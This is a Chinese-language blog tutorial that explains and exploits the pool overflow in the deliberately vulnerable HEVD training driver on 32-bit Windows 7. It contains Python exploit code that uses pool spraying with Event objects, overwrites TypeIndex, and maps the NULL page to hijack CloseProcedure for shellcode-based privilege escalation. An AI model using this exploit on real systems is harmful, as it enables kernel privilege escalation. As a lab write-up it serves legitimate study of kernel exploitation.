上一篇文章主要介绍了windows内核中UAF漏洞的利用方式，这次的主题是池溢出漏洞。仍然是通过HEVD这个项目来了解该内核漏洞的原理以及利用方式。
调试机是win7 64位，被调试机是win7 32位。
漏洞简介
内核池（pool）是windows中类似于堆的一种动态内存结构，以实现系统中灵活释放与分配内存的需求。池的大小在申请出来后是一定的，此时如果程序没有对输入长度进行检查，则就会导致溢出。具体看hevd中相应代码：
NTSTATUS TriggerNonPagedPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
PVOID KernelBuffer = NULL;
NTSTATUS Status = STATUS_SUCCESS;
PAGED_CODE();
__try {
DbgPrint("[+] Allocating Pool chunk\n");
// Allocate Pool chunk
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
if (!KernelBuffer) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
}
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Non Paged Pool Overflow\n");
// Vulnerability Note: This is a vanilla pool buffer overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
if (KernelBuffer) {
DbgPrint("[+] Freeing Pool chunk\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
// Free the allocated Pool chunk
ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
KernelBuffer = NULL;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}通过代码中的secure版本以及vuln版本可以很直观的看到漏洞的成因，主要是在调用RtlCopyMemory函数时第三个参数size的来源，secure版本中size是内核池的大小，而vuln的版本中size是用户态中直接传入，可以由用户控制，若传入的size大于内存池的大小就会覆盖到下一块内存池，导致池溢出，从而造成蓝屏。
漏洞触发
触发该漏洞的主要代码如下所示，可以看到传入的字符串长度为512，而池的大小为504，所以会池溢出覆盖到下一个池的头结构。
def trigger(hDevice, dwIoControlCode):
"""Create evil buf and send IOCTL"""
evilbuf = create_string_buffer("A"*(504+8))
lpInBuffer = addressof(evilbuf)
nInBufferSize = 504+8
outputbuff=create_string_buffer("A"*(0x800))
lpOutBuffer = addressof(outputbuff)
nOutBufferSize = 0x800
lpBytesReturned = None
lpOverlapped = None
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
if not pwnd:
print "\t[-]Error: Not pwnd :(\n" + FormatError()
sys.exit(-1)
if __name__ == "__main__":
print "\n**HackSys Extreme Vulnerable Driver**"
print "**pool overflow BSOD**\n"
trigger(gethandle(), ctl_code(0x803))将断点下在覆盖函数之前，查看当时内存池的情况：
可以看到在当前堆块偏移504的地方既是下一堆块的头结构，此时该地址的内存为
单步执行到下一步，可以看到该地址被覆盖为可控的0x41414141。
此时，再次查看池的情况，可以看到池结构已经由于被覆盖使得无法解析。
正是由于溢出破坏了堆结构，造成了后续内核中数据出错，形成BSOD。
漏洞利用
溢出的原理很简单，那么这个漏洞具体该如何利用。利用主要需要理解的地方包括两个，一个是伪造Event结构体，一个是池喷射。
伪造Event结构体
首先是伪造Event结构体以实现控制流的劫持。
Windows系统中可以使用CreateEvent函数来在内核中创建一个Event内存池。想要释放该内存池使用CloseHandle释放即可，下面我们具体去看Event结构体。
Event结构体中我们关心的字段是TypeIndex这个字段，该字段为一个数组索引，索引的数组为nt!ObTypeIndexTable，该数组是OBJECT_TYPE数组，包含了所有的类型。
从图里我们看到Event结构的TypeIndex字段为0xc，该索引对应的是Event类型的Type，如下图所示。可以看到该全局数组0xc对应的是Event类型的OBJECT，同时该TYPE结构体偏移为0x28的结构体展开可以看到存在一些全局的回调函数指针。
由此可以想到我们是否可以通过伪造一个Event结构体，使得伪造这些函数指针从而劫持控制流。
这个想法是可行的，具体来说，可以看到上图中nt!ObTypeIndexTable数组里第一个索引的值为0，如果我们通过池溢出将Event结构体中的TypeIndex字段覆盖为0，此时调用相应的函数时将会从0内存处去寻找相应的函数指针。所以问题变成了我们如何在地址为0的内存处写入数据，这个方法在之前的文章已经提过就不再详细写，具体来说就是可以使用NtAllocateVirtualMemory函数将0内存页申请出来，同时伪造数据，我们劫持的函数是图中的CloseProcedure，即0x28+0x38=0x60偏移处的值。即将0x60处的值如果能够覆盖成shellcode地址，即形成了对函数流的劫持。
伪造后的相应结构体会变成如下图所示。可以看到TypeIndex被覆盖为0，而0地址处中0x60的值为shellcode的地址，此时在代码中调用CloseHandle即会调用CloseProcedure实现控制流的劫持。相关的代码为：
…
"""Create evil buffer and send IOCTL"""
print "[*]Triggering vulnerable IOCTL..."
data="A" * 504
data += struct.pack("L", 0x04080040)
data += struct.pack("L", 0xEE657645)
data += struct.pack("L", 0x00000000)
data += struct.pack("L", 0x00000040)
data += struct.pack("L", 0x00000000)
data += struct.pack("L", 0x00000000)
data += struct.pack("L", 0x00000001)
data += struct.pack("L", 0x00000001)
data += struct.pack("L", 0x00000000)
data += struct.pack("L", 0x00080000) #此处为伪造TypeIndex处
def Build_Fake_Object_Type(shellcode_address):
null_status = NtAllocateVirtualMemory(GetCurrentProcess(), byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)
if null_status != 0x0:
print "\t[+] Failed to allocate NULL page..."
sys.exit(-1)
else:
print "\t[+] NULL Page Allocated"
ptr=c_void_p(0x60)
ptr.contents=c_int(shellcode_address)
memmove(c_void_p(0x60), byref(c_ulong(shellcode_address)), 4)
池喷射
控制函数执行流的方式有了，接下来需要解决的一个问题是：如何精确控制内存，使得该池的下一个块即为Event结构体。
要解决这个问题就要使用池喷射，原理与堆喷射类似，简要介绍为：1.申请出大量的Event结构体，使得后续每次申请出来池时都是分配器新分配出来的内存页，而不是之前的地址；2.释放小块连续的堆块，形成空洞。使得其合并大小与HEVD代码中申请出的池块大小相同，通过前面的调试可以知道Event结构体大小为0x40，申请出来的池块大小为0x200，所以连续释放的八个Event结构体会合并为0x200。3.经过上一步，0x200的空闲堆块后均为Event结构体，此时开始执行，可以确保池结构体后面紧接着Event结构体。实现精准控制。
具体代码如下所示：
padd_array=[]
fengshui_array=[]
for i in range(0,10000):
padd_array.append(CreateEventA(None, False, False, None))
for i in range(0,5000):
fengshui_array.append(CreateEventA(None, False, False, None))
for i in range(0,len(fengshui_array),16):
for j in range(0,8):
CloseHandle(fengshui_array[i+j])经过分配后内存布局会如下图所示：
利用小结
通过上面两步，我们即可实现稳定的执行shellcode，shellcode使用的是提权代码。整个利用的过程总结为：
1.首先将通过NtAllocateVirtualMemory将shellcode的地址写入到0x60处；
2.接着使用堆喷射技术构造出0x200的空闲堆块紧跟着Event结构的内存池布局；
3.通过池溢出覆盖Event结构体，将其TypeIndex字段覆盖为0。
4.调用CloseHandle，最终调用CloseProcedure，执行shellcode。
5.提权成功。
小结
道长且坚，继续加油。所有的代码都在我的github